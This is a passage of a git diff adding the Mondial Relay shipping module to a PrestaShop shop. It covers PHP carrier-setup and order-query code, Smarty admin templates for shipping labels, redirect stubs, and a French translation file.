        "; + if (trim($simpleresul[0]['MR_Selected_Num']) != '') + $html .= $this->l('Nb Point Relay :').$simpleresul[0]['MR_Selected_Num']."
        "; + if (trim($simpleresul[0]['MR_Selected_LgAdr1']) != '') + $html .= $simpleresul[0]['MR_Selected_LgAdr1']."
        "; + if (trim($simpleresul[0]['MR_Selected_LgAdr2']) != '') + $html .= $simpleresul[0]['MR_Selected_LgAdr2']."
        "; + if (trim($simpleresul[0]['MR_Selected_LgAdr3']) != '') + $html .= $simpleresul[0]['MR_Selected_LgAdr3']."
        "; + if (trim($simpleresul[0]['MR_Selected_LgAdr4']) != '') + $html .= $simpleresul[0]['MR_Selected_LgAdr4']."
        "; + if (trim($simpleresul[0]['MR_Selected_CP']) != '') + $html .= $simpleresul[0]['MR_Selected_CP']." "; + if (trim($simpleresul[0]['MR_Selected_Ville']) != '') + $html .= $simpleresul[0]['MR_Selected_Ville']."
        "; + if (trim($simpleresul[0]['MR_Selected_Pays']) != '') + $html .= $simpleresul[0]['MR_Selected_Pays']."
        "; + $html .= '

        '; + return $html; + } + + /** + * Set necessaries values to the created carrier + * + * @param $id_carrier + * @param $dlv_mode + * @return bool + */ + private function addDefaultCarrierValue($id_carrier, $dlv_mode) + { + $weight_coef = $this->account_shop['MR_WEIGHT_COEFFICIENT']; + + // Default Range value depending of the delivery mode + $range_weight = array( + '24R' => array(0, 20000 / $weight_coef), + 'DRI' => array(20000 / $weight_coef, 130000 / $weight_coef), + 'LD1' => array(0, 60000 / $weight_coef), + 'LDS' => array(30000 / $weight_coef, 130000 / $weight_coef) + ); + + // Set range weight for a dlv_mode + if (!Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'range_weight` + (`id_carrier`, `delimiter1`, `delimiter2`) + VALUES ('.(int)$id_carrier.', '.$range_weight[$dlv_mode][0].', '.$range_weight[$dlv_mode][1].')')) + { + $this->_postErrors[] = $this->l('Range weight can\'t be added'); + return false; + } + + $range_weight_id = Db::getInstance()->Insert_ID(); + + // Set a range price + if (!Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'range_price` + (`id_carrier`, `delimiter1`, `delimiter2`) + VALUES ('.(int)$id_carrier.', 0.000000, 10000.000000)')) + { + $this->_postErrors[] = $this->l('Range price can\'t be added'); + return false; + } + + $range_price_id = Db::getInstance()->Insert_ID(); + + $groups = Group::getGroups(Configuration::get('PS_LANG_DEFAULT')); + foreach ($groups as $group) + if (!Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'carrier_group` + (id_carrier, id_group) + VALUES('.(int)$id_carrier.', '.(int)($group['id_group']).')')) + { + $this->_postErrors[] = $this->l('Default zone can\'t be added'); + return false; + } + + // Set default zone + $zones = Zone::getZones(); + foreach ($zones as $zone) + { + if (!Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'carrier_zone` + (id_carrier, id_zone) + VALUES('.(int)$id_carrier.', '.(int)($zone['id_zone']).')') || + !Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'delivery` + (id_carrier, id_range_price, id_range_weight, id_zone, price) + VALUES('.(int)$id_carrier.', '.(int)($range_price_id).', NULL,'.(int)($zone['id_zone']).', 0.00)') || + !Db::getInstance()->execute( + 'INSERT INTO `'._DB_PREFIX_.'delivery` + (id_carrier, id_range_price, id_range_weight, id_zone, price) + VALUES('.(int)$id_carrier.', NULL, '.(int)($range_weight_id).','.(int)($zone['id_zone']).', 0.00)')) + { + $this->_postErrors[] = $this->l('Carrier zone or delivery data can\'t be added'); + return false; + } + } + return true; + } + + /** + * Add new shipping method + * + * @return bool + */ + private function addShippingMethod() + { + // Insert new carrier for under Prestashop + if (!($id_carrier = $this->addCarrier(Tools::getValue('MR_name'), Tools::getValue('MR_delay')))) + { + $this->_postErrors[] = $this->l('Carrier can\'t be created in PrestaShop'); + return false; + } + + $fields = $_POST; + + unset($fields['submit_add_shipping'], $fields['MR_tab_name'], $fields['tab'], $fields['MR_delay']); + + // Force col mod to CCC + $fields['col_mode'] = 'CCC'; + $fields['id_carrier'] = $id_carrier; + + $query = 'INSERT INTO `'._DB_PREFIX_.'mr_method` (%s) VALUES(%s)'; + + $keys = array(); + $values = array(); + foreach($fields as $key => $value) + { + $keys[] = '`'.str_replace('MR_', '', $key).'`'; + $values[] = '\''.(is_array($value) ? pSQL(implode(',', $value)) : pSQL($value)).'\''; + } + $query = sprintf($query, implode(',',$keys), implode(',', $values)); + + if (!Db::getInstance()->execute($query) || + !Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'mr_method_shop` + (id_mr_method, id_shop) VALUES('.(int)Db::getInstance()->INSERT_ID().', '.(int)$this->account_shop['id_shop'].')')) + { + $this->l('Carrier method can\'t be added for the module'); + Db::getInstance()->execute('DELETE FROM `'._DB_PREFIX_.'carrier` WHERE id_carrier='.(int)$id_carrier); + return false; + } + + return $this->addDefaultCarrierValue($id_carrier, $fields['MR_dlv_mode']); + } + + /** + * Disable carrier instead of delete to keep history + * + * @param $id_mr_method + */ + public function disableCarrier($id_mr_method) + { + if (($id_carrier = Db::getInstance()->getValue( + 'SELECT `id_carrier` + FROM `'._DB_PREFIX_ .'mr_method` + WHERE `id_mr_method` = '.(int)($id_mr_method))) && + Db::getInstance()->execute( + 'UPDATE `'._DB_PREFIX_ .'carrier` c, `'._DB_PREFIX_ .'mr_method` m + SET c.`active` = 0, c.`deleted` = 1, m.`is_deleted` = 1 + WHERE + c.`id_carrier` = m.`id_carrier` + AND c.`id_carrier` = '.(int)$id_carrier)) + return true; + + $this->_postErrors = $this->l('Carrier can\'t be deleted yet'); + return false; + } + + /** + * Get the followup url + * + * @param $exp_number + * @return mixed + */ + public function get_followup($exp_number) + { + $query = ' + SELECT url_suivi + FROM '._DB_PREFIX_ .'mr_selected + WHERE exp_number='.(int)$exp_number; + + return Db::getInstance()->getValue($query); + } + + /** + * Get the SQL query to fetch order with mr carrier + * + * @static + * @param $id_order_state + * @param $weight_coefficient + * @return string + */ + public static function getBaseOrdersSQLQuery($id_order_state, $weight_coefficient = 0) + { + return 'SELECT o.`id_address_delivery` as id_address_delivery, + o.`id_order` as id_order, + o.`id_customer` as id_customer, + o.`id_cart` as id_cart, + o.`id_lang` as id_lang, + mrs.`id_mr_selected` as id_mr_selected, + CONCAT(c.`firstname`, " ", c.`lastname`) AS `customer`, + o.`total_paid_real` as total, o.`total_shipping` as shipping, + o.`date_add` as date, o.`id_currency` as id_currency, o.`id_lang` as id_lang, + mrs.`MR_poids` as mr_weight, mr.`name` as mr_Name, mrs.`MR_Selected_Num` as MR_Selected_Num, + mrs.`MR_Selected_Pays` as MR_Selected_Pays, mrs.`exp_number` as exp_number, + mr.`col_mode` as mr_ModeCol, mr.`dlv_mode` as mr_ModeLiv, mr.`insurance` as mr_ModeAss, + ROUND(SUM(odt.`product_weight` * odt.`product_quantity`) * '.(int)$weight_coefficient.') AS "order_weight" + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'carrier` ca + ON (ca.`id_carrier` = o.`id_carrier`) + LEFT JOIN `'._DB_PREFIX_.'mr_selected` mrs + ON (mrs.`id_cart` = o.`id_cart`) + LEFT JOIN `'._DB_PREFIX_.'mr_method` mr + ON (mr.`id_mr_method` = mrs.`id_method`) + LEFT JOIN `'._DB_PREFIX_.'customer` c + ON (c.`id_customer` = o.`id_customer`) + LEFT JOIN `'._DB_PREFIX_.'order_detail` odt + ON odt.`id_order` = o.`id_order` + WHERE ( + SELECT moh.`id_order_state` + FROM `'._DB_PREFIX_.'order_history` moh + WHERE moh.`id_order` = o.`id_order` + ORDER BY moh.`date_add` DESC LIMIT 1) = '.(int)($id_order_state).' + AND o.`id_order` = mrs.`id_order`'; + } + + /** + * Get orders details to create Tickets + * + * @static + * @param array $orderIdList + * @param int $filterEntries + * @param int $weight_coefficient + * @return array + */ + public static function getOrders($orderIdList = array(), $filterEntries = MondialRelay::NO_FILTER, $weight_coefficient = 0) + { + $account_shop = MondialRelay::getAccountDetail(); + $id_order_state = $account_shop['MR_ORDER_STATE']; + $sql = MondialRelay::getBaseOrdersSQLQuery($id_order_state, $weight_coefficient); + + if (count($orderIdList)) + { + $sql .= ' AND o.id_order IN ('; + foreach ($orderIdList as $id_order) + $sql .= (int)$id_order.', '; + $sql = rtrim($sql, ', ').')'; + } + switch($filterEntries) + { + case MondialRelay::WITHOUT_HOME_DELIVERY: + $sql .= 'AND mr.mr_ModeLiv != "LD1" AND mr.mr_ModeLiv != "LDS"'; + break; + } + $sql .= ' + GROUP BY o.`id_order` + ORDER BY o.`date_add` ASC'; + return Db::getInstance()->executeS($sql); + } + + /** + * Get Mondialrelay error code + * + * @param $code + * @return string + */ + public function getErrorCodeDetail($code) + { + global $statCode; + + if (isset($statCode[$code])) + return $statCode[$code]; + return $this->l('This error isn\'t referred : ') . $code; + } + + /** + * @param $id_cart + * @return mixed + */ + public function getRelayPointSelected($id_cart) + { + return Db::getInstance()->getRow(' + SELECT s.`MR_selected_num` + FROM `'._DB_PREFIX_.'mr_selected` s + WHERE s.`id_cart` = '.(int)$id_cart); + } + + /** + * @param $id_carrier + * @return mixed + */ + public function isMondialRelayCarrier($id_carrier) + { + return Db::getInstance()->getRow(' + SELECT m.`id_mr_method` + FROM `'._DB_PREFIX_.'mr_method` m + WHERE `id_carrier` = '.(int)$id_carrier); + } + + /** + * + * @param $params + */ + public function hookPaymentTop($params) + { + if ($this->isMondialRelayCarrier($params['cart']->id_carrier) && + !$this->getRelayPointSelected($params['cart']->id)) + $params['cart']->id_carrier = 0; + } + + public function getMethodValueByIdCarier($id_carrier, $key) + { + $content = Db::getInstance()->executeS( + 'SELECT * + FROM `'._DB_PREFIX_.'mr_method` m + WHERE `id_carrier` = '.(int)$id_carrier); + + return isset($content[$key]) ? $content[$key] : ''; + } + + public function checkAJAX() + { + // Avoid loop inclusion + static $is_included = false; + + // TODO : Find a way to use it on front + if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') + if (Tools::getValue('mrtoken') && !$is_included) + { + $is_included = true; + include(dirname(__FILE__).'/ajax.php'); + exit(0); + } + } +} diff --git a/modules/mondialrelay/page_iso.php b/modules/mondialrelay/page_iso.php new file mode 100755 index 0000000..3509701 --- /dev/null +++ b/modules/mondialrelay/page_iso.php @@ -0,0 +1,41 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +//header('Content-Type: text/html; charset=iso-8859-15'); +function ote_accent($str){ + +$str = str_replace("'", " ", $str); + +$str = utf8_decode($str); + +$ch = strtr($str, + + '����������������������������������������������������', + + 'AAAAAACEEEEIIIIOOOOOUUUUYaaaaaaceeeeiiiioooooouuuuyy'); + +return utf8_encode($ch); + +} diff --git a/modules/mondialrelay/sql/index.php b/modules/mondialrelay/sql/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay/sql/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/tpl/admintab/generate_tickets.tpl b/modules/mondialrelay/tpl/admintab/generate_tickets.tpl new file mode 100755 index 0000000..eebfbb4 --- /dev/null +++ b/modules/mondialrelay/tpl/admintab/generate_tickets.tpl @@ -0,0 +1,123 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $MR_errors_type.error|count} +
        + {l s='Please kindly correct the following errors on' mod='mondialrelay'} + + {l s='the contact page:' mod='mondialrelay'} + +
          + {foreach from=$MR_errors_type.error key=name item=message} +
        • {$name}: {$message}
        • + {/foreach} +
        +
        +{/if} +{if $MR_errors_type.warn|count} +
        + {l s="Please take a look to this following warning, maybe the ticket won't be generated"} +
          + {foreach from=$MR_errors_type.warn key=name item=message} +
        • {$name}: {$message}
        • + {/foreach} +
        +
        +{/if} + +

        +{l s='All orders which have the state' mod='mondialrelay'} "{$MR_order_state.name}" {l s='will be available for creation of labels' mod='mondialrelay'} +

        + +
        + +
        + +
        + {l s='Orders list' mod='mondialrelay'} +
        + + + + + + + + + + + + + + + {foreach from=$MR_orders key=case_num item=order} + + + + + + + + + + + + + + + + + + + + + + {/foreach} +
        {l s='Order ID' mod='mondialrelay'}{l s='Customer' mod='mondialrelay'}{l s='Total price' mod='mondialrelay'}{l s='Total shipping costs' mod='mondialrelay'}{l s='Date' mod='mondialrelay'}{l s='Insert weight (grams)' mod='mondialrelay'}{l s='MR Number' mod='mondialrelay'}{l s='MR Country' mod='mondialrelay'}{l s='Exp Number' mod='mondialrelay'}{l s='Detail' mod='mondialrelay'}
        {$order.id_order}{$order.customer}{$order.display_total_price}{$order.display_shipping_price}{$order.display_date} + + {$order.MR_Selected_Num}{$order.MR_Selected_Pays}{$order.exp_number} + + {l s='View' mod='mondialrelay'} + +
        + {if !$MR_orders|count} +

        {l s='No orders with this state.' mod='mondialrelay'}

        + {else} +
        +
        + +
        +
        +
        + {/if} + +
        + +
        \ No newline at end of file diff --git a/modules/mondialrelay/tpl/admintab/history.tpl b/modules/mondialrelay/tpl/admintab/history.tpl new file mode 100755 index 0000000..4680bc8 --- /dev/null +++ b/modules/mondialrelay/tpl/admintab/history.tpl @@ -0,0 +1,74 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +
        + {l s='History of labels creation' mod='mondialrelay'} +
        +
        + + + + + + + + + + {foreach from=$MR_histories key=num_history item=history} + + + + + + + + {/foreach} + +
        {l s='Order ID' mod='mondialrelay'}{l s='Exp num' mod='mondialrelay'}{l s='Print stick A4' mod='mondialrelay'}{l s='Print stick A5' mod='mondialrelay'}
        + + {$history.order} + {$history.exp} + + + + +
        + {if !$MR_histories|count} +
        +

        {l s='No histories available' mod='mondialrelay'}

        +
        + {else} +
        + +
        + +
        + {/if} + +
        +
        + +
        \ No newline at end of file diff --git a/modules/mondialrelay/tpl/admintab/settings.tpl b/modules/mondialrelay/tpl/admintab/settings.tpl new file mode 100755 index 0000000..48ff7e0 --- /dev/null +++ b/modules/mondialrelay/tpl/admintab/settings.tpl @@ -0,0 +1,60 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="$MR_local_path/tpl/post_action.tpl"} + +{* +** Basic Settings +*} +
        +
        +
        + {l s='Admin Tab Settings' mod='mondialrelay'} + +
        + +

        + {l s='Choose the order state for labels.' mod='mondialrelay'} +

        +
        + +
        +
        + +
        +
        + +
        +
        + +
        \ No newline at end of file diff --git a/modules/mondialrelay/tpl/bo-header.tpl b/modules/mondialrelay/tpl/bo-header.tpl new file mode 100755 index 0000000..f8168d5 --- /dev/null +++ b/modules/mondialrelay/tpl/bo-header.tpl @@ -0,0 +1,38 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if $MR_overload_current_jquery} + {include file="$MR_local_path/tpl/jquery-overload.tpl"} +{/if} + + + + diff --git a/modules/mondialrelay/tpl/checkout_process.tpl b/modules/mondialrelay/tpl/checkout_process.tpl new file mode 100755 index 0000000..3211ed0 --- /dev/null +++ b/modules/mondialrelay/tpl/checkout_process.tpl @@ -0,0 +1,40 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if $MR_Data.PS_VERSION >= '1.5' && !$MR_Data.carrier} + {l s='Mondial relay can\'t fetch any replay point due to prestashop error' mod='mondialrelay'} +{/if} \ No newline at end of file diff --git a/modules/mondialrelay/tpl/configuration.tpl b/modules/mondialrelay/tpl/configuration.tpl new file mode 100755 index 0000000..81346bb --- /dev/null +++ b/modules/mondialrelay/tpl/configuration.tpl @@ -0,0 +1,283 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +

        {l s='Mondial Relay Configuration' mod='mondialrelay'}

        + +{include file="$MR_local_path/tpl/post_action.tpl"} + +{* +** Menu bar +*} + + +
        +{l s='Please set your Mondial Relay account settings'} +
        + +{if $MR_upgrade_detail|count} +
        +
          + {foreach from=$MR_upgrade_detail item=message} +
        • {$message}
        • + {/foreach} +
        +
        +{/if} + +{* +** General information +*} +
        +
        + + {l s='Try to turn off the cache and put the force compilation to on' mod='mondialrelay'} + + {l s='if you have any problems with the module after an update' mod='mondialrelay'} +
        + +
        + {l s='Have a look to the following HOW-TO to help you to configure the Mondial Relay module' mod='mondialrelay'} + + + + + +
        + +
        + +
        + + {l s='To create a Mondial Relay carrier' mod='mondialrelay'} + + - {l s='Enter and save your Mondial Relay account settings' mod='mondialrelay'}
        + - {l s='Create a Carrier using the Shipping button' mod='mondialrelay'}
        + - {l s='Define a price for your carrier on' mod='mondialrelay'} + {l s='The Carrier page' mod='mondialrelay'}
        + - {l s='To generate labels, you must have a valid and registered address of your store on your' mod='mondialrelay'} + {l s='contact page' mod='mondialrelay'}
        +
        +
        + +{* +** Account settings form +*} +
        +
        +
        + {l s='Mondial Relay Account Settings' mod='mondialrelay'} +
        + {l s='These parameters are provided by Mondial Relay once you subscribed to their service' mod='mondialrelay'} +
        +
          +
        • + + + * +
        • +
        • + + + * +
        • +
        • + + + * +
        • +
        • + + + * +
        • +
        • + + + * + {l s='grammes = 1 ' mod='mondialrelay'}{$MR_unit_weight_used}
          {l s='The default billing method will be set according to the total weight.' mod='mondialrelay'}
          +
        • +
        • + +
        • +
        +
        *{l s='Required fields' mod='mondialrelay'}
        +
        + +
        +
        + +{if $MR_account_set} + +{* + ** Advanced settings + *} +
        +
        + + {l s='Advanced Settings' mod='mondialrelay'} + +
        +

        {l s='URL Cron Task:' mod='mondialrelay'} {$MR_CRON_URL}

        +
        +
        +
        + +{* + ** Add new shipping form + *} +
        +
        +
        + {l s='Add a Shipping Method' mod='mondialrelay'} +
          +
        • + + + * +
        • + +
        • + + + * +
        • + +
        • + + + * +
        • + +
        • + + + * +
        • + +
        • + + + * +
        • + +
        • + +
        • +
        +
        *{l s='Required fields' mod='mondialrelay'}
        +
        + +
        + +
        + +{* + ** Shipping List + *} +
        + {l s='Shipping Method\'s list' mod='mondialrelay'} +
          + {if $MR_carriers_list|count == 0} +
        • {l s='No shipping methods created' mod='mondialrelay'}
        • + {else} + {foreach from=$MR_carriers_list key=num_carrier item=carrier} +
        • +
          + + Delete + {$carrier.name} ({$carrier.col_mode}-{$carrier.dlv_mode} - {$carrier.insurance} : {$carrier.country_list}) + + {l s='Config Shipping' mod='mondialrelay'} + +
          +
        • + {/foreach} + {/if} +
        +
        +
        +{/if} diff --git a/modules/mondialrelay/tpl/header.tpl b/modules/mondialrelay/tpl/header.tpl new file mode 100755 index 0000000..94a3df1 --- /dev/null +++ b/modules/mondialrelay/tpl/header.tpl @@ -0,0 +1,59 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{include file="$MR_local_path/tpl/jquery-overload.tpl"} + + + + + +{if $mobile_device==true} + +{else} + +{/if} + + diff --git a/modules/mondialrelay/tpl/index.php b/modules/mondialrelay/tpl/index.php new file mode 100755 index 0000000..319128b --- /dev/null +++ b/modules/mondialrelay/tpl/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay/tpl/jquery-overload.tpl b/modules/mondialrelay/tpl/jquery-overload.tpl new file mode 100755 index 0000000..8beeca0 --- /dev/null +++ b/modules/mondialrelay/tpl/jquery-overload.tpl @@ -0,0 +1,36 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $MR_overload_current_jquery} + + +{else} + + +{/if} diff --git a/modules/mondialrelay/tpl/order_detail.tpl b/modules/mondialrelay/tpl/order_detail.tpl new file mode 100755 index 0000000..fb46c54 --- /dev/null +++ b/modules/mondialrelay/tpl/order_detail.tpl @@ -0,0 +1,31 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $mr_addr} +

        {l s='Delivery to' mod='mondialrelay'} {$mr_addr}

        +{/if} +{if $mr_url} + {l s='Follow my package on Mondial Relay website' mod='mondialrelay'}. +{/if} diff --git a/modules/mondialrelay/tpl/post_action.tpl b/modules/mondialrelay/tpl/post_action.tpl new file mode 100755 index 0000000..148a569 --- /dev/null +++ b/modules/mondialrelay/tpl/post_action.tpl @@ -0,0 +1,39 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $MR_error_list|count} +
        + {$MR_error_list|count} {l s='error(s)'} +
          + {foreach from=$MR_error_list key=error_num item=error_message} +
        • {$error_message}
        • + {/foreach} +
        +
        + {elseif $MR_form_action.type|strlen != 0} +
        + {$MR_form_action.message_success} +
        +{/if} \ No newline at end of file diff --git a/modules/mondialrelay/translations/en.php b/modules/mondialrelay/translations/en.php new file mode 100755 index 0000000..753d170 --- /dev/null +++ b/modules/mondialrelay/translations/en.php @@ -0,0 +1,91 @@ +adminmondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action terminée avec succès!'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_3b2d373418745276ae6e207421245cdc'] = 'Le statut de la commande a été mis à jour'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Impossible de mettre à jour le compte'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'Livrez vos colis en point relais'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_1889ea20d1343f376f5d52b6b8dc7a3f'] = 'Vous devez sélectionner un point relai avant de continuer.'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d2286c9c8c8f92cb0e805b17834591b0'] = 'Enseigne invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Code Marque invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Clé Webservice invalide'; 